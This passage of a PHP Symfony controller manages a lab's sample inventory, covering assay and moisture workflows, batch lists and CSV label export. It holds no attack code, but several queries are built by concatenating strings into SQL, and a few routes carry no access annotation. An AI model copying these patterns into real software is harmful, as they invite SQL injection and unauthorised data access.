  733. $user = $this->getUser();
  734. $info = $request->get('info');
  735. $newparcel = new ClientParcel();
  736. $newparcel->setClient($user);
  737. $newparcel->setCourrier($info["courrier"]);
  738. $newparcel->setWaybill($info["waybill"]);
  739. $newparcel->setSender($info["sender"]);
  740. $newparcel->setComment($info["comment"]);
  741. $info = $info["info"];
  742. //$newparcel->setData($info);
  743. $newparcel->setDataarray($info);
  744. $newparcel->setDateadded(new \DateTime());
  745. $newparcel->setAccepted(false);
  746. $this->em->persist($newparcel);
  747. $this->em->flush();
  748. return new Response("/");
  749. }
  750. $usercountry = ($this->getUser()->getCountry() ? $this->getUser()->getCountry() : []);
  751. $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  752. 'country' => $usercountry
  753. ],[
  754. 'id' => 'DESC'
  755. ]);
  756. $samples2=[];
  757. if (in_array("WC",$usercountry)){
  758. $samples2 = $this->em
  759. ->createQuery(
  760. "SELECT a FROM App\Entity\Inventory a WHERE a.exportno LIKE '%M%' ORDER BY a.id DESC"
  761. )
  762. ->getResult();
  763. }
  764. //dump($samples2);
  765. $samples = array_merge($samples,$samples2);
  766. return $this->render('cats/addclientorder.html.twig', [
  767. 'samples' => $samples,
  768. ]);
  769. }
  770. //=====================================================================================================================================================================================<
  771. /**
  772. * @IsGranted("ROLE_USER")
  773. * @Route("/stats/{id}", name="stats")
  774. * @param int $id
  775. * @param Request $request
  776. * @return Response $response
  777. */
  778. public function stats(int $id, Request $request)
  779. {
  780. $usercountry = $this->getUser()->getCountry();
  781. $messages = $this->getDoctrine()->getRepository(FeedEntry::class)->findAll();
  782. $bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
  783. 'id' => $id
  784. ]);
  785. // $qb instanceof QueryBuilder
  786. $qb = $this->em->createQueryBuilder();
  787. $qb->select('count(t.id)');
  788. $qb->from(Inventory::class, 't');
  789. $qb->add('where', "t.dateFinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  790. // $qb->where('t.dateFinished > 2020-09-18');
  791. $qb->setMaxResults('1');
  792. $result = $qb->getQuery()->getSingleScalarResult();
  793. //dump($result);
  794. $qb1 = $this->em->createQueryBuilder();
  795. $qb1->select('t');
  796. $qb1->from(FABatch::class, 't');
  797. $qb1->add('where', "t.datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  798. $anotherresult = $qb1->getQuery()->getResult();
  799. $anotherresult = !$anotherresult ? $anotherresult = [1] : $anotherresult;
  800. $loginfo= [];
  801. $loginfo2= [];
  802. $tasks= [];
  803. $batchesdaily = [];
  804. $batchesdaily2 = [];
  805. $anotherresult2 = 0;
  806. $anotherresult4 = 0;
  807. foreach ($anotherresult as $x){
  808. array_push($loginfo, $x->getDateFinished()->format('j'));
  809. $sql = "SELECT count(id) FROM fabatch WHERE datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') . " 23:59:59'";
  810. $stmt = $this->em->getConnection()->prepare($sql);
  811. $anotherresult2=$stmt->executeQuery()->fetchAllAssociative();
  812. $batchesdaily[$x->getDateFinished()->format('j')] = array_values(array_shift($anotherresult2))[0];
  813. //dump($anotherresult2);
  814. }
  815. $qb3 = $this->em->createQueryBuilder();
  816. $qb3->select('t');
  817. $qb3->from(ICPBatch::class, 't');
  818. $qb3->add('where', "t.date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  819. $anotherresult3 = $qb3->getQuery()->getResult();
  820. $anotherresult3 = !$anotherresult3 ? $anotherresult3 = [1] : $anotherresult3;
  821. foreach ($anotherresult3 as $x){
  822. array_push($loginfo2, $x->getDate()->format('j'));
  823. $sql = "SELECT count(id) FROM icpbatch WHERE date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') . " 23:59:59'";
  824. $stmt = $this->em->getConnection()->prepare($sql);
  825. $anotherresult4=$stmt->executeQuery()->fetchAllAssociative();
  826. $batchesdaily2[$x->getDate()->format('j')] = array_values(array_shift($anotherresult4))[0];
  827. //dump($anotherresult2);
  828. }
  829. return $this->render('cats/stats.html.twig', [
  830. 'messages' => $messages,
  831. 'bonuses' => $bonuses,
  832. 'data' => $result,
  833. 'data23' => $anotherresult,
  834. 'loginfo' => $loginfo,
  835. 'batchesdaily' => $batchesdaily,
  836. 'test2' => $anotherresult2,
  837. 'icp' => $anotherresult3,
  838. 'icp2' => $batchesdaily2,
  839. 'tasks' => $tasks
  840. ]);
  841. }
  842. //=====================================================================================================================================================================================<
  843. /**
  844. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  845. * @param Request $request
  846. * @Route("/mill", name="mill")
  847. * @return Response $response
  848. */
  849. public function mill(Request $request)
  850. {
  851. $loginfo= [];
  852. if ( $request->isMethod("post") ) {
  853. if (null !== $request->get('markmilled')){
  854. $info = $request->get('ids');
  855. if(!empty($info)){
  856. foreach($info as $j) {
  857. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  858. $entry->setMillStatus('Milled');
  859. $entry->setDateMilled(new \DateTime());
  860. $this->em->persist($entry);
  861. array_push($loginfo, $entry->getId() . ' - ' . $entry->getSamplename());
  862. }
  863. $log = new Log();
  864. $log->setDate(new \DateTime());
  865. $log->setType('Mill Status');
  866. $log->setText('Sample mill status was updated to Milled');
  867. $log->setAssignedUser($this->getUser());
  868. $log->setText2(implode(", ", $loginfo));
  869. $this->em->persist($log);
  870. $this->em->flush();
  871. }
  872. }
  873. if (null !== $request->get('revert')){
  874. $info = $request->get('ids');
  875. if(!empty($info)){
  876. foreach($info as $j) {
  877. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  878. $entry->setMillStatus('Original');
  879. $entry->setDateMilled(null);
  880. $this->em->persist($entry);
  881. array_push($loginfo, $entry->getId() . ' - ' . $entry->getSamplename());
  882. }
  883. $log = new Log();
  884. $log->setDate(new \DateTime());
  885. $log->setType('Mill Status');
  886. $log->setText('Sample mill status reverted to Original');
  887. $log->setAssignedUser($this->getUser());
  888. $log->setText2(implode(", ", $loginfo));
  889. $this->em->persist($log);
  890. $this->em->flush();
  891. }
  892. }
  893. }
  894. $millinv = $this->getDoctrine()->getRepository(Inventory::class)->findby(['millStatus' => 'To Mill'], ['priority' => 'ASC', 'id' => 'DESC']);
  895. return $this->render('cats/mill.html.twig', [
  896. 'inventory' => $millinv
  897. ]);
  898. }
  899. //=====================================================================================================================================================================================<
  900. /**
  901. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  902. * @param Request $request
  903. * @Route("/fassayreg/disqbatches", name="disqbatches")
  904. * @return Response $response
  905. */
  906. public function disqbatches(Request $request)
  907. {
  908. $disqbatches = $this->getDoctrine()->getRepository(DISQBatch::class)->findBy(
  909. ['status' => ["finished",null,]],['id'=>'DESC'],50
  910. );
  911. return $this->render('cats/disqbatches.html.twig', [
  912. 'batches' => $disqbatches
  913. ]);
  914. }
  915. //=====================================================================================================================================================================================<
  916. /**
  917. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  918. * @param Request $request
  919. * @Route("/icp/icpbatches", name="icpbatches")
  920. * @return Response $response
  921. */
  922. public function icpbatches(Request $request)
  923. {
  924. $icpbatches = $this->getDoctrine()->getRepository(ICPBatch::class)->findBy(
  925. ['status' => null],['id' => 'DESC'],
  926. 50
  927. );
  928. return $this->render('cats/icpbatches.html.twig', [
  929. 'batches' => $icpbatches
  930. ]);
  931. }
  932. //=====================================================================================================================================================================================<
  933. /**
  934. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  935. * @param Request $request
  936. * @Route("/fassayreg/fabatches", name="fabatches")
  937. * @return Response $response
  938. */
  939. public function fabatches(Request $request)
  940. {
  941. $fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findBy(
  942. ['status' => [null,'finished']],['id' => 'DESC']
  943. );
  944. return $this->render('cats/fabatches.html.twig', [
  945. 'fabatches' => $fabatches
  946. ]);
  947. }
  948. /**
  949. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  950. * @Route("/fassayreg/au-batches", name="au-batches")
  951. * @return Response $response
  952. */
  953. public function auBatches(AuBatchManager $auBatchManager): Response
  954. {
  955. return $this->render(
  956. 'cats/au-batches.html.twig',
  957. ['batches' => $auBatchManager->getList(), 'details' => $auBatchManager->getDetails()]
  958. );
  959. }
  960. //=====================================================================================================================================================================================<
  961. /**
  962. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  963. * @param Request $request
  964. * @Route("/inv", name="visitorinventory")
  965. * @return Response $response
  966. */
  967. public function visitorinventory(Request $request)
  968. {
  969. return $this->render('cats/visitinv.html.twig');
  970. }
  971. //=====================================================================================================================================================================================<
  972. /**
  973. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  974. * @param Request $request
  975. * @Route("/inventory", name="inventory")
  976. * @return Response $response
  977. */
  978. public function inventory(Request $request, ExportCountryRelationService $relationService)
  979. {
  980. if ( $request->isMethod("post") ) {
  981. $loginfo= [];
  982. if (null !== $request->get('edit')){
  983. $info = $request->get('ids');
  984. //dump($request);
  985. $editinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  986. 'id' => $info
  987. ]);
  988. return $this->render('cats/edit.html.twig', [
  989. 'inventory' => $editinv
  990. ]);
  991. }
  992. if (null !== $request->get('startanalysis')){
  993. $info = $request->get('ids');
  994. /** @var Inventory $dumby */
  995. if(!empty($info)) {
  996. foreach ($info as $j) {
  997. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  998. if (($dumby->getAnalysisStatus() == 'In Progress') or ($dumby->getAnalysisStatus() == 'To Start')){
  999. $dumby->setAnalysisStatus('None');
  1000. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - None');
  1001. } elseif (($dumby->getAnalysisStatus() != 'Completed')) {
  1002. $dumby->setAnalysisStatus('To Start');
  1003. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1004. } elseif (($dumby->getAnalysisStatus() == 'Completed')) {
  1005. $dumby->setAnalysisStatus('In Progress');
  1006. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1007. }
  1008. $log = new Log();
  1009. $log->setDate(new \DateTime());
  1010. $log->setType('Analysis Status');
  1011. $log->setText('Analysis status manually altered for samples');
  1012. $log->setAssignedUser($this->getUser());
  1013. $log->setText2(implode(", ", $loginfo));
  1014. $this->em->persist($log);
  1015. $this->em->persist($dumby);
  1016. }
  1017. }
  1018. $this->em->flush();
  1019. return $this->redirect($this->generateUrl('inventory'));
  1020. }
  1021. if (null !== $request->get('editconfirm')){
  1022. $info = $request->get('entry');
  1023. foreach($info as $j) {
  1024. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1025. //dump($entry);
  1026. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . ' - ' .$j['type']. ' - ' .$j['subtype']. ' - ' .$j['name']. ' - ' .$j['country']. ' - ' .$j['mass']. ' - ' . $j['export']);
  1027. $entry->setSampleType($j['type'])
  1028. ->setSampleSubtype($j['subtype'])
  1029. ->setSampleName($j['name']);
  1030. $entry->setCountry($j['country']);
  1031. if ((float)str_replace(",",".",$j['mass']) > 0) {
  1032. $entry->setMass((float)str_replace(",",".",$j['mass']));
  1033. }
  1034. if ((float)str_replace(",",".",$j['metalweight']) > 0) {
  1035. $entry->setMetalweight((float)str_replace(",",".",$j['metalweight']));
  1036. }
  1037. $entry->setExportno($j['export']);
  1038. $this->em->persist($entry);
  1039. }
  1040. $log = new Log();
  1041. $log->setDate(new \DateTime());
  1042. $log->setType('Sample Info');
  1043. $log->setText('Sample information was edited');
  1044. $log->setAssignedUser($this->getUser());
  1045. $log->setText2(implode(", ", $loginfo));
  1046. $this->em->persist($log);
  1047. $this->em->flush();
  1048. return $this->redirect($this->generateUrl('inventory'));
  1049. }
  1050. if (null !== $request->get('manualicp')){
  1051. $info = $request->get('ids');
  1052. //dump($request);
  1053. $micp = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1054. 'id' => $info
  1055. ]);
  1056. return $this->render('cats/micp.html.twig', [
  1057. 'inventory' => $micp
  1058. ]);
  1059. }
  1060. if (null !== $request->get('manualicpconfirm')){
  1061. $info = $request->get('entry');
  1062. if(in_array('ROLE_SUPER',$this->getUser()->getRoles())){
  1063. foreach($info as $j) {
  1064. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1065. //dump($entry);
  1066. /** @var Inventory $entry */
  1067. $entry->setIcppt((int)$j['pt'])
  1068. ->setIcppd((int)$j['pd'])
  1069. ->setIcprh((int)$j['rh'])
  1070. ->setDateFinished(new \DateTime())
  1071. ->setAnalysisStatus('Completed');
  1072. $this->em->persist($entry);
  1073. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . (int)$j['pt']. ' - ' . (int)$j['pd']. ' - ' . (int)$j['rh']);
  1074. }
  1075. $log = new Log();
  1076. $log->setDate(new \DateTime());
  1077. $log->setType('Assay Info');
  1078. $log->setText('Assay information was manually added');
  1079. $log->setAssignedUser($this->getUser());
  1080. $log->setText2(implode(", ", $loginfo));
  1081. $this->em->persist($log);
  1082. $this->em->flush();
  1083. }
  1084. return $this->redirect($this->generateUrl('inventory'));
  1085. }
  1086. if (null !== $request->get('addtoorder')){
  1087. $info = $request->get('entry');
  1088. //dump($info);
  1089. return $this->redirect($this->generateUrl('inventory'));
  1090. }
  1091. if (null !== $request->get('xrf')){
  1092. $info = $request->get('ids');
  1093. //dump($request);
  1094. $xrfinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1095. 'id' => $info
  1096. ]);
  1097. return $this->render('cats/xrf.html.twig', [
  1098. 'inventory' => $xrfinv
  1099. ]);
  1100. }
  1101. if (null !== $request->get('xrfconfirm')){
  1102. $info = $request->get('entry');
  1103. foreach($info as $j) {
  1104. /** @var Inventory $entry */
  1105. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1106. //dump($entry);
  1107. $entry->setXrfpt($j['pt'] != 0 ? round((float)$j['pt'],0) : 0)->setXrfpd($j['pd'] != 0 ? round((float)$j['pd'],0) : 0)->setXrfrh($j['rh'] != 0 ? round((float)$j['rh'],0) : 0)->setXrfStatus('Added');
  1108. $this->em->persist($entry);
  1109. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . (int)$j['pt']. ' - ' . (int)$j['pd']. ' - ' . (int)$j['rh']);
  1110. }
  1111. $log = new Log();
  1112. $log->setDate(new \DateTime());
  1113. $log->setType('XRF Info');
  1114. $log->setText('XRF information was manually added');
  1115. $log->setAssignedUser($this->getUser());
  1116. $log->setText2(implode(", ", $loginfo));
  1117. $this->em->persist($log);
  1118. $this->em->flush();
  1119. return $this->redirect($this->generateUrl('inventory'));
  1120. }
  1121. if (null !== $request->get('mill')){
  1122. $info = $request->get('ids');
  1123. //dump($request);
  1124. /** @var Inventory $dumby */
  1125. if(!empty($info)) {
  1126. foreach ($info as $j) {
  1127. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1128. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName());
  1129. $dumby->setMillStatus('To Mill');
  1130. $this->em->persist($dumby);
  1131. }
  1132. }
  1133. $log = new Log();
  1134. $log->setDate(new \DateTime());
  1135. $log->setType('Mill Status');
  1136. $log->setText('Sample mill status changed to To Mill');
  1137. $log->setAssignedUser($this->getUser());
  1138. $log->setText2(implode(", ", $loginfo));
  1139. $this->em->persist($log);
  1140. $this->em->flush();
  1141. return $this->redirect($this->generateUrl('inventory'));
  1142. }
  1143. //=======================================================================================
  1144. if (null !== $request->get('moist')){
  1145. $info = $request->get('ids');
  1146. /** @var Inventory $dumby */
  1147. if(!empty($info)) {
  1148. foreach ($info as $j) {
  1149. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1150. if(count($dumby->getMoists()) == NULL) {
  1151. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName());
  1152. $newmoists1 = new Moists();
  1153. $newmoists1->setMoistsref($dumby->getId() . "-M1");
  1154. $newmoists1->setAssignedSample($dumby);
  1155. $newmoists1->setStatus('To Do');
  1156. $newmoists1->setCounts(true);
  1157. $this->em->persist($newmoists1);
  1158. $newmoists2 = new Moists();
  1159. $newmoists2->setMoistsref($dumby->getId() . "-M2");
  1160. $newmoists2->setAssignedSample($dumby);
  1161. $newmoists2->setStatus('To Do');
  1162. $newmoists2->setCounts(true);
  1163. $this->em->persist($newmoists2);
  1164. $dumby->setMoistStatus("In Progress");
  1165. } elseif(count($dumby->getMoists()) == 2) {
  1166. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1167. $newmoists3 = new Moists();
  1168. $newmoists3->setMoistsref($dumby->getId() . "-M3");
  1169. $newmoists3->setAssignedSample($dumby);
  1170. $newmoists3->setStatus('To Do');
  1171. $newmoists3->setCounts(true);
  1172. $this->em->persist($newmoists3);
  1173. $dumby->setMoistStatus("In Progress");
  1174. } elseif(count($dumby->getMoists()) == 3) {
  1175. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1176. $newmoists4 = new Moists();
  1177. $newmoists4->setMoistsref($dumby->getId() . "-M4");
  1178. $newmoists4->setAssignedSample($dumby);
  1179. $newmoists4->setStatus('To Do');
  1180. $newmoists4->setCounts(true);
  1181. $this->em->persist($newmoists4);
  1182. $dumby->setMoistStatus("In Progress");
  1183. } elseif(count($dumby->getMoists()) == 4) {
  1184. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1185. $newmoists5 = new Moists();
  1186. $newmoists5->setMoistsref($dumby->getId() . "-M5");
  1187. $newmoists5->setAssignedSample($dumby);
  1188. $newmoists5->setStatus('To Do');
  1189. $newmoists5->setCounts(true);
  1190. $this->em->persist($newmoists5);
  1191. $dumby->setMoistStatus("In Progress");
  1192. } elseif(count($dumby->getMoists()) == 1) {
  1193. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1194. foreach ($dumby->getMoists() as $i){
  1195. /** @var Moists $moist */
  1196. $moist = $this->getDoctrine()->getRepository(Moists::class)->find($i);
  1197. if (substr($moist->getMoistsref(),-1) == "M"){
  1198. $moist->setMoistsref($dumby->getId() . "-M1");
  1199. $moist->setStatus("Reverted for 2nd");
  1200. }
  1201. }
  1202. $newmoists2 = new Moists();
  1203. $newmoists2->setMoistsref($dumby->getId() . "-M2");
  1204. $newmoists2->setAssignedSample($dumby);
  1205. $newmoists2->setStatus('To Do');
  1206. $newmoists2->setCounts(true);
  1207. $this->em->persist($newmoists2);
  1208. $dumby->setMoistStatus("In Progress");
  1209. }
  1210. }
  1211. $log = new Log();
  1212. $log->setDate(new \DateTime());
  1213. $log->setType('Moisture Info');
  1214. $log->setText('Sample were put up for Moisture testing');
  1215. $log->setAssignedUser($this->getUser());
  1216. $log->setText2(implode(", ", $loginfo));
  1217. $this->em->persist($log);
  1218. $this->em->flush();
  1219. }
  1220. return $this->redirect($this->generateUrl('inventory'));
  1221. }
  1222. if (null !== $request->get('moistrevert')){
  1223. $info = $request->get('ids');
  1224. /** @var Inventory $inv */
  1225. if(!empty($info)){
  1226. foreach ($info as $j){
  1227. $inv = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1228. if ($inv->getMoistStatus() == "Archived" or $inv->getMoistStatus() == null){
  1229. $inv->setMoistStatus("Reverted");
  1230. foreach ($inv->getMoists() as $i){
  1231. /** @var Moists $i*/
  1232. $i->setStatus('Reverted');
  1233. $this->em->persist($i);
  1234. }
  1235. }
  1236. $this->em->persist($inv);
  1237. }
  1238. $this->em->flush();
  1239. }
  1240. }
  1241. }
  1242. $orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
  1243. $relationViewData = $relationService->getViewData();
  1244. return $this->render('cats/catinventory.html.twig', [
  1245. 'orders' => $orders,
  1246. 'exportCountryRelations' => $relationViewData['relations'],
  1247. 'exportCountryLookup' => $relationViewData['lookup'],
  1248. ]);
  1249. }
  1250. /**
  1251. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1252. * @Route("/inventory/export-country-relations", name="inventory_export_country_relation_save", methods={"POST"})
  1253. */
  1254. public function saveInventoryExportCountryRelation(
  1255. Request $request,
  1256. ExportCountryRelationService $relationService
  1257. ): JsonResponse {
  1258. $data = json_decode($request->getContent(), true);
  1259. if (!is_array($data)) {
  1260. return $this->json([
  1261. 'status' => 'error',
  1262. 'message' => 'Invalid request payload.',
  1263. ], JsonResponse::HTTP_BAD_REQUEST);
  1264. }
  1265. try {
  1266. $relation = $relationService->saveFromPayload(MinExportCountryRelationPayload::fromArray($data));
  1267. } catch (HttpExceptionInterface $exception) {
  1268. return $this->json([
  1269. 'status' => 'error',
  1270. 'message' => $exception->getMessage(),
  1271. ], $exception->getStatusCode());
  1272. }
  1273. return $this->json([
  1274. 'status' => 'success',
  1275. 'relation' => $relationService->serializeRelation($relation),
  1276. ]);
  1277. }
  1278. /**
  1279. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1280. * @Route("/inventory/export-country-relations/{relationId}", name="inventory_export_country_relation_delete", methods={"DELETE"})
  1281. */
  1282. public function deleteInventoryExportCountryRelation(
  1283. int $relationId,
  1284. ExportCountryRelationService $relationService
  1285. ): JsonResponse {
  1286. try {
  1287. $relationService->deleteById($relationId);
  1288. } catch (HttpExceptionInterface $exception) {
  1289. return $this->json([
  1290. 'status' => 'error',
  1291. 'message' => $exception->getMessage(),
  1292. ], $exception->getStatusCode());
  1293. }
  1294. return $this->json([
  1295. 'status' => 'success',
  1296. 'message' => 'Relation deleted.',
  1297. ]);
  1298. }
  1299. /**
  1300. * @Route("/cat/labelCsv", name="cat_labelCsv")
  1301. * @param Request $request
  1302. * @return StreamedResponse
  1303. */
  1304. public function catLabelCsv(Request $request): StreamedResponse
  1305. {
  1306. $samples = $request->get('samples');
  1307. $labels = [];
  1308. foreach ($samples as $sampleId) {
  1309. /** @var Inventory $sample */
  1310. $sample = $this->getDoctrine()->getRepository(Inventory::class)->find($sampleId);
  1311. if ($sample) {
  1312. $labels[] = [
  1313. $sample->getId(),
  1314. $sample->getSampleName() ?? ''
  1315. ];
  1316. }
  1317. }
  1318. $response = new StreamedResponse(function() use ($labels) {
  1319. $handle = fopen('php://output', 'w+');
  1320. // Add the header of the CSV file
  1321. fputcsv($handle, ['ID', 'Sample Reference']);
  1322. foreach ($labels as $label) {
  1323. fputcsv($handle, $label);
  1324. }
  1325. fclose($handle);
  1326. });
  1327. $response->headers->set('Content-Type', 'text/csv');
  1328. $response->headers->set('Content-Disposition', 'attachment; filename="cat_labels.csv"');
  1329. return $response;
  1330. }
  1331. //=====================================================================================================================================================================================<
  1332. /**
  1333. * @Security("is_granted('ROLE_ADMINISTRATORIUS')")
  1334. * @param Request $request
  1335. * @Route("/adminventory", name="adminventory")
  1336. * @return Response $response
  1337. */
  1338. public function adminventory(Request $request)
  1339. {
  1340. if ( $request->isMethod("post") ) {
  1341. $loginfo= [];
  1342. if (null !== $request->get('edit')){
  1343. $info = $request->get('ids');
  1344. //dump($request);
  1345. $editinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1346. 'id' => $info
  1347. ]);
  1348. return $this->render('cats/edit.html.twig', [
  1349. 'inventory' => $editinv
  1350. ]);
  1351. }
  1352. if (null !== $request->get('startanalysis')){
  1353. $info = $request->get('ids');
  1354. /** @var Inventory $dumby */
  1355. if(!empty($info)) {
  1356. foreach ($info as $j) {
  1357. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1358. if (($dumby->getAnalysisStatus() == 'In Progress') or ($dumby->getAnalysisStatus() == 'To Start')){
  1359. $dumby->setAnalysisStatus('None');
  1360. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - None');
  1361. } elseif (($dumby->getAnalysisStatus() != 'Completed')) {
  1362. $dumby->setAnalysisStatus('To Start');
  1363. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1364. } elseif (($dumby->getAnalysisStatus() == 'Completed')) {
  1365. $dumby->setAnalysisStatus('In Progress');
  1366. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1367. }
  1368. $log = new Log();
  1369. $log->setDate(new \DateTime());
  1370. $log->setType('Analysis Status');
  1371. $log->setText('Analysis status manually altered for samples');
  1372. $log->setAssignedUser($this->getUser());
  1373. $log->setText2(implode(", ", $loginfo));
  1374. $this->em->persist($log);
  1375. $this->em->persist($dumby);
  1376. }
  1377. }
  1378. $this->em->flush();
  1379. return $this->redirect($this->generateUrl('inventory'));
  1380. }
  1381. if (null !== $request->get('editconfirm')){
  1382. $info = $request->get('entry');
  1383. foreach($info as $j) {
  1384. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1385. //dump($entry);
  1386. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . ' - ' .$j['type']. ' - ' .$j['subtype']. ' - ' .$j['name']. ' - ' .$j['country']. ' - ' .$j['mass']. ' - ' . $j['export']);
  1387. $entry->setSampleType($j['type'])
  1388. ->setSampleSubtype($j['subtype'])
  1389. ->setSampleName($j['name']);
  1390. $entry->setCountry($j['country']);
  1391. if ((float)str_replace(",",".",$j['mass']) > 0) {
  1392. $entry->setMass((float)str_replace(",",".",$j['mass']));
  1393. }
  1394. $entry->setExportno($j['export']);
  1395. $this->em->persist($entry);
  1396. }
  1397. $log = new Log();
  1398. $log->setDate(new \DateTime());
  1399. $log->setType('Sample Info');
  1400. $log->setText('Sample information was edited');
  1401. $log->setAssignedUser($this->getUser());
  1402. $log->setText2(implode(", ", $loginfo));
  1403. $this->em->persist($log);
  1404. $this->em->flush();
  1405. return $this->redirect($this->generateUrl('inventory'));
  1406. }
  1407. if (null !== $request->get('addtoorder')){
  1408. $info = $request->get('entry');
  1409. //dump($info);
  1410. return $this->redirect($this->generateUrl('inventory'));
  1411. }
  1412. }
  1413. $orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
  1414. return $this->render('cats/catadminventory.html.twig', [
  1415. 'orders' => $orders
  1416. ]);
  1417. }
  1418. //=====================================================================================================================================================================================<
  1419. /**
  1420. * @Route("/getinv", name="getinv")
  1421. */
  1422. public function ajaxgetinv()
  1423. {
  1424. $response = new Response();
  1425. $list=[];
  1426. $inventory = $this->getDoctrine()->getRepository(Inventory::class)->findBy([],[
  1427. 'id' => "DESC"
  1428. ]);
  1429. $qb = $this->em->createQuery('SELECT r, s.analysisStatus FROM App\Entity\RRun r INNER JOIN r.assignedSample s WHERE r.id = :id')->setParameter('id',3000);
  1430. //dump($qb->getOneOrNullResult());
  1431. //foreach($inventory as $j){
  1432. // $list[] = $j->getInfo();
  1433. //}
  1434. $response->setContent(json_encode([
  1435. 'data' => $list,
  1436. ]));
  1437. $response->headers->set('Content-Type', 'application/json');
  1438. return $response;
  1439. }
  1440. //=====================================================================================================================================================================================<
  1441. // /**
  1442. // * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1443. // * @Route("/moists", name="moists")
  1444. // * @param Request $request
  1445. // * @return Response $response
  1446. // */
  1447. // public function moists(Request $request)
  1448. // {
  1449. // $moists = $this->getDoctrine()->getRepository(Moists::class)->findBy([
  1450. // 'status' => ['To Do', 'Calculated 1', 'Calculated 2', 'Reverted']
  1451. // ]);
  1452. // return $this->render('cats/moists.html.twig',[
  1453. // 'inventory' => $moists
  1454. // ]);
  1455. // }
  1456. //=====================================================================================================================================================================================<
  1457. /**
  1458. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1459. * @Route("/moistsresult", name="moistsresult")
  1460. * @param Request $request
  1461. * @return Response $response
  1462. */
  1463. public function moistsresult(Request $request)
  1464. {
  1465. return $this->render('cats/moistsresult.html.twig',[]);
  1466. }
  1467. //=====================================================================================================================================================================================<
  1468. /**
  1469. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1470. * @Route("/moists2", name="moists2")
  1471. * @param Request $request
  1472. * @return Response $response
  1473. */
  1474. public function moists2(Request $request)
  1475. {
  1476. return $this->render('cats/moists2.html.twig',[]);
  1477. }
  1478. //=====================================================================================================================================================================================<
  1479. /**
  1480. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1481. * @Route("/moistarchived", name="moistsarchived")
  1482. * @param Request $request
  1483. * @return Response $response
  1484. */
  1485. public function moistsarchive(Request $request)
  1486. {
  1487. return $this->render('cats/moistsarchive.html.twig',[]);
  1488. }
  1489. //=====================================================================================================================================================================================<
  1490. /**
  1491. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
